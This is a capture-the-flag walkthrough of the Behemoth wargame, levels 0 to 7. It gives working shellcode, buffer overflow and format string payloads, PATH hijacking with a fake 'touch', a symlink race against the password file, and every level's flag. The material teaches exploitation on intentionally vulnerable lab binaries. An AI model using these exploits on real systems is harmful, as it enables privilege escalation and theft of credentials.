This wargame deals with a lot of regular vulnerabilities found commonly ‘out in the wild’. While the game makes no attempts at emulating a real environment it will teach you how to exploit several of the most common coding mistakes including buffer overflows, race conditions and privilege escalation.

All the password are stored in /etc/behemoth_pass/behemoth[level].

Level 0

Local Picture

When executing behemoth0, it will tell us to enter the password. By using ltrace, we can see that the password is compared to eatmyshorts. Enter it as our password, and we can get the shell.

Level 0 -> Level 1

By using ltrace, we see it uses gets() to store our input. It may cause buffer overflow.

And we use Checksec.

No RELRO No canary found NX disabled No PIE

Set our enviornment variable export EGG=$(python -c ‘print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")'), and we can make EIP to the address of $EGG, which contains shellcode.

We need 71 paddings to cover return address using gdb. We can execute (python -c 'print("A"*71+"\x6e\xde\xff\xff")'; cat) | ./behemoth1 to get the flag.

The flag is eimahquuof.

Level 1 -> Level 2

In this challenge, we can see that the program tries to touch a file named with process id.

We can change /usr/bin/touch to our own touch, and we can get the flag.

To do so, we create a folder /tmp/l3o, and execute ln -s /behemoth/behemoth2 /tmp/l3o/behemoth2 to make a symbolic link. We execute echo "cat /etc/behemoth_pass/behemoth3" > touch to create a file named touch, and it gives us flag.

Use chmod +x touch to make it an executable, and export PATH=/tmp/l3o:$PATH to make sure behemoth2 will trigger this touch.

Finally, after ./behemoth2, we can get the flag nieteidiel.

Level 2 -> Level 3

In this challenge, it uses fgets() to ask for identity, and use puts() to say welcome and goodbye.

What we can do to get the flag is to store our shellcode in an environment variable, and with fgets(), we can trigger format string vulnerability to edit the address in function puts(), and make it jumps to our shellcode.

We use objdump -D /behemoth/behemoth3 | less to see where exactly puts() jumps, and the address is 0x080497ac.

Local Picture

Use export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")') to prepare our shellcode, and find its address in 0xffffdee7.

When LOB < HOB, the formula to format string editting is [addr][addr+2]%[LOB-8]x%[offset]$hn%[HOB-LOB]x%[offset+1]$hn. LOB is dee7, and HOB is ffff.

Finally, we use (python -c 'print("\xac\x97\x04\x08"+"\xae\x97\x04\x08"+"%57055x%1$hn"+ "%8472x%2$hn")';cat) | /behemoth/behemoth3 to get the shell and flag. That is, we change the content stored at 0x080497ac into 0xffffdee7. When puts() executes, we get to our shellcode.

The flag is ietheishei.

Level 3 -> Level 4

In this challenge, the program will get its pid and see if a file named after its pid is under /tmp. If it does not, it exits. If it does, it will get the contents in that file and print them out.

What we can do is that we start it as a background process, get its pid, and stop it immediately. After creating a symbolic link to the password with the name we need, we continue the process, and it will print out password for us.

./behemoth4 &
kill -STOP $pid
ln -s /etc/behemoth_pass/behemoth5 /tmp/$pid
kill -CONT $pid

And we can get the flag aizeeshing.

Level 4 -> Level 5

Decompile the program, and we can see that it takes the password and sends to localhost port 1337.

What we need to do is open a tab and listen with nc -lu localhost -p 1337, run ./behemoth5 with another tab, and we can get the flag mayiroeche.

Level 5 -> Level 6

In this challenge, there are two files, behemoth6 and behemoth6_reader.

If we decompile these two files, we can see that behemoth6 will open a process of behemoth6_reader and take its return value to compare with a string HelloKitty.

In behemoth6_reader, it takes shellcode from shellcode.txt and executes it. So we are going to put shellcode which print out HelloKitty in shellcode.txt.

First, we write the assembly code hello.asm.

section	.text
	global _start

	jmp short ender

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	mov al, 4
	mov bl, 1
	pop ecx
	mov dl, 10
	int 0x80

	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80
	call starter
	db 'HelloKitty'

We make it to the executable with nasm -f elf hello.asm, ld -m elf_i386 -s -o hello hello.o. Later we use objdump -d hello to get our shellcode \xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2 \x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff \x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79.

And we can get the shell and flag baquoxuafo.

Level 6 -> Level 7

In this challenge, behemoth7 will zero out all the environment variables and put our arguments into an 512 bytes array. However, it will check if there is non-alphabat character in the array. We can not put our shellcode in the array.

By testing, we know that we need 528 bytes paddings to access return address, so we can use ./behemoth7 $(python -c 'print("A"*528 + "\x50\xd4\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') to get the shell, we put our shellcode on higher address to prevent scrutinizing.

And we can get the flag pheewij7Ae.

Level 7 -> Level 8

Congratz!! Now fight for your right to eip=0x41414141!!